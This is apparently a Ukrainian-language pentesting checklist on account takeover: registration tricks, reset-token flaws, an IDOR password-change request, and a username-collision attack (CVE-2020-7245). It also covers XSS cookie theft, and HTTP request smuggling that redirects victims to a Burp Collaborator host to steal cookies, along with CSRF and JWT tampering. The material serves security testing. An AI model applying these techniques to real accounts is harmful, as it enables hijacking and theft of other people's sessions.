Registration & Takeover Vulnerabilities
Захоплення облікового запису під час реєстрації
Повторна реєстрація
Спробуйте створити обліковий запис з використанням існуючого імені користувача
Перевірте варіанти електронної пошти:
великі літери
+1@
додайте кілька крапок в електронну пошту
спеціальні символи в імені електронної пошти (%00, %09, %20)
Після електронної пошти додайте чорні символи:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Перелік імен користувачів
Перевірте, чи можете ви визначити, коли ім'я користувача вже було зареєстровано в додатку.
Політика паролів
Створюючи користувача, перевірте політику паролів (перевірте, чи можна використовувати слабкі паролі). У цьому випадку ви можете спробувати перебрати облікові дані.
Внедрення SQL
Перевірте цю сторінку , щоб дізнатися, як спробувати захопити облікові записи або витягнути інформацію через SQL-ін'єкції в формах реєстрації.
Захоплення облікових записів через Oauth
pageOAuth to Account takeoverВразливості SAML
pageSAML AttacksЗміна електронної пошти
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.
Додаткові перевірки
Перевірте, чи можна використовувати одноразові електронні адреси
Довгий пароль (>200) призводить до DoS
Перевірте обмеження на швидкість створення облікових записів
Використовуйте username@burp_collab.net та проаналізуйте зворотний виклик
IDOR на параметрах API
Атакер повинен увійти у свій обліковий запис та перейти до функції Змінити пароль.
Запустіть Burp Suite та перехопіть запит.
Надішліть його на вкладку Repeater та відредагуйте параметри: ID користувача/електронна пошта
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Слабкий токен скидання пароля
Токен скидання пароля повинен бути випадково згенерованим та унікальним кожного разу. Спробуйте визначити, чи токен закінчується або він завжди однаковий, у деяких випадках алгоритм генерації слабкий і може бути вгаданим. Наступні змінні можуть бути використані алгоритмом.
Відмітка часу
ID користувача
Електронна пошта користувача
Ім'я та прізвище
Дата народження
Криптографія
Тільки цифри
Невелика послідовність токенів (символи між [A-Z,a-z,0-9])
Повторне використання токену
Дата закінчення токену
Витік токену скидання пароля
Запустіть запит на скидання пароля за допомогою API/UI для певної електронної пошти, наприклад: test@mail.com
Огляньте відповідь сервера та перевірте
resetToken
Потім використовуйте токен у URL-адресі, наприклад
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Скидання пароля через колізію імен користувачів
Зареєструйтеся в системі з ім'ям користувача, ідентичним імені користувача жертви, але з пробілами, вставленими перед і/або після імені користувача. наприклад:
"admin "
Запитайте скидання пароля зі своїм зловмисним ім'ям користувача.
Використовуйте токен, відправлений на вашу електронну пошту, та скиньте пароль жертви.
Підключіться до облікового запису жертви за допомогою нового пароля.
Платформа CTFd була вразливою до цього нападу. Див. CVE-2020-7245
Перехоплення облікового запису через міжсайтовий скриптінг
Знайдіть XSS в програмі або піддомені, якщо файли cookie налаштовані на батьківський домен:
*.domain.com
Витік поточного сеансу cookie
Аутентифікуйтеся як користувач, використовуючи cookie
Перехоплення облікового запису через HTTP Request Smuggling
1. Використовуйте smuggler, щоб виявити тип HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1
з наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X:
з метою перенаправлення жертв на burpcollab та вкрадення їхніх файлів cookie
3. Кінцевий запит може виглядати наступним чином
Hackerone reports exploiting this bug\
Взяття облікового запису через CSRF
Створіть полезне навантаження для CSRF, наприклад: "HTML-форма з автоматичним відправленням для зміни пароля"
Надішліть полезне навантаження
Взяття облікового запису через JWT
Можливо, використовується JSON Web Token для аутентифікації користувача.
Редагуйте JWT з іншим ідентифікатором користувача / електронною поштою
Перевірте на слабкий підпис JWT
References
Last updated